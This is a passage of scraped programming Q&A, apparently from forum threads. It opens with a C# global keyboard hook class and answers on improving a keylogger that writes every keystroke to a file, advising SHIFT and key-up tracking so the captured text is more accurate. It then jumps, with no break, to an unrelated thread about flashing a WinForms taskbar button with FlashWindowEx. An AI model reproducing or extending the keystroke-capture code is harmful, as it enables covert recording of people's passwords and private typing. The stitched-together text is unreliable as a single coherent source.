const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
keyboardHookProc khp;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
khp = new keyboardHookProc(hookProc);
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (_hookAll ? true : HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
The key-logger is doing just that: logging keystrokes. In Form1.Form1_Load, it's registering gkh_keyDown as the handler for every time a key is pressed. Importantly, there's no handler for when a key is released- there's nothing set to watch for the event gkh_keyUp. But the root GlobalKeyboardHook library does provide those events.
You'll need to write a new function (possibly gkh_keyUp) to handle keyUp events. That's the only way to know when anybody has let go of a shift key.
If all you care about is SHIFT+letters, and when Ctrl or Alt is released, you'll need to do the following:
Add a bool for whether or not SHIFT is currently pressed.
Set the flag whenever SHIFT is found to be the key on a Key Down event. Clear it whenever it's the key on Key Up.
Whenever the key string is "SPACE", detect a space instead.
If the SHIFT flag isn't set, use String.ToLower() when writing the key letter to the file; leave it as-is (in caps) if it's unset.
If key-up receives Ctrl or Alt, make it print (-CTRL) or (-ALT) to represent the key being released. Other than changing the SHIFT flag, the key-up handler should probably be blank.
This isn't that big a rewrite, but rewriting it in place in this comment box felt like a bit much. Relevant things are that you don't need to change GlobalKeyboardHook.cs at all, and you should read the C# reference on events, event handling, and delegates to understand what's going on in Form1_Load, if you aren't sure how to register the key-up event.
The important part is this line:
SW.Write(e.KeyCode);
Notice that e.KeyCode is of type KeyCode which is an enum. This enum has values such as A for the “A” key, Space for the spacebar, etc. Calling SW.Write with this will turn the enum value into a string containing its name and write that to the file.
Looks like your global keyboard hook does not provide any functionality to turn this KeyCode into an actual character. Implementing that is very hard: the character typed depends not only on what other keys are being pressed at the same time (e.g. Shift or AltGr), but also on the current keyboard layout. The user could have several different keyboard layouts installed and switch between them all the time.
I stumbled on this code below and tried to implement it in my WinForm App to help my users as many are very NOT tech-savy.
Unfortunately, it does nothing. It does not generate any errors or anything. It just doesn't make it Flash.
Can anyone offer any insight? I have tried it on Win 7(x64) & Win XP (x86) with the same results on both.
I am calling it like so --> TaskbarFlasher.FlashWindow(this); From my Main Form.
[DllImport("user32.dll")]
private extern static bool FlashWindow(IntPtr hwnd, bool bInvert);
[DllImport("user32.dll")]
private extern static IntPtr GetForegroundWindow();
/// <summary>
/// Notifies the user that the application requests attention
/// by flashing the taskbar if the form is not the current window.
/// </summary>
/// <param name="myForm">The form in question.</param>
public static void FlashWindow(Form myForm)
{
// if the current foreground window isn't this window,
// flash this window in task bar once every 1 second
if (GetForegroundWindow() != myForm.Handle)
{
FlashWindow(myForm.Handle, true);
}
}
Nevermind, I figured it out with the Following Links Help --> http://pietschsoft.com/post/2009/01/26/CSharp-Flash-Window-in-Taskbar-via-Win32-FlashWindowEx.aspx
Thanks Chris Pietschmann from a fellow SO Wisconsinite!!
public static class FlashWindow
{
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool FlashWindowEx(ref FLASHWINFO pwfi);
[StructLayout(LayoutKind.Sequential)]
private struct FLASHWINFO
{
/// <summary>
/// The size of the structure in bytes.
/// </summary>
public uint cbSize;
/// <summary>
/// A Handle to the Window to be Flashed. The window can be either opened or minimized.
/// </summary>
public IntPtr hwnd;
/// <summary>
/// The Flash Status.
/// </summary>
public uint dwFlags;
/// <summary>
/// The number of times to Flash the window.
/// </summary>
public uint uCount;
/// <summary>
/// The rate at which the Window is to be flashed, in milliseconds. If Zero, the function uses the default cursor blink rate.
/// </summary>
public uint dwTimeout;
}
/// <summary>
/// Stop flashing. The system restores the window to its original stae.
/// </summary>
public const uint FLASHW_STOP = 0;
/// <summary>
/// Flash the window caption.
/// </summary>
public const uint FLASHW_CAPTION = 1;
/// <summary>
/// Flash the taskbar button.
/// </summary>
public const uint FLASHW_TRAY = 2;
/// <summary>
/// Flash both the window caption and taskbar button.
/// This is equivalent to setting the FLASHW_CAPTION | FLASHW_TRAY flags.
/// </summary>
public const uint FLASHW_ALL = 3;
/// <summary>
/// Flash continuously, until the FLASHW_STOP flag is set.
/// </summary>
public const uint FLASHW_TIMER = 4;
/// <summary>
/// Flash continuously until the window comes to the foreground.
/// </summary>
public const uint FLASHW_TIMERNOFG = 12;
/// <summary>
/// Flash the spacified Window (Form) until it recieves focus.
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form)
{
// Make sure we're running under Windows 2000 or later
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL | FLASHW_TIMERNOFG, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
private static FLASHWINFO Create_FLASHWINFO(IntPtr handle, uint flags, uint count, uint timeout)
{
FLASHWINFO fi = new FLASHWINFO();
fi.cbSize = Convert.ToUInt32(Marshal.SizeOf(fi));
fi.hwnd = handle;
fi.dwFlags = flags;
fi.uCount = count;
fi.dwTimeout = timeout;
return fi;
}
/// <summary>
/// Flash the specified Window (form) for the specified number of times
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <param name="count">The number of times to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form, uint count)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, count, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Start Flashing the specified Window (form)
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Start(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Stop Flashing the specified Window (form)
/// </summary>
/// <param name="form"></param>
/// <returns></returns>
public static bool Stop(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_STOP, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// A boolean value indicating whether the application is running on Windows 2000 or later.
/// </summary>
private static bool Win2000OrLater
{
get { return System.Environment.OSVersion.Version.Major >= 5; }
}
}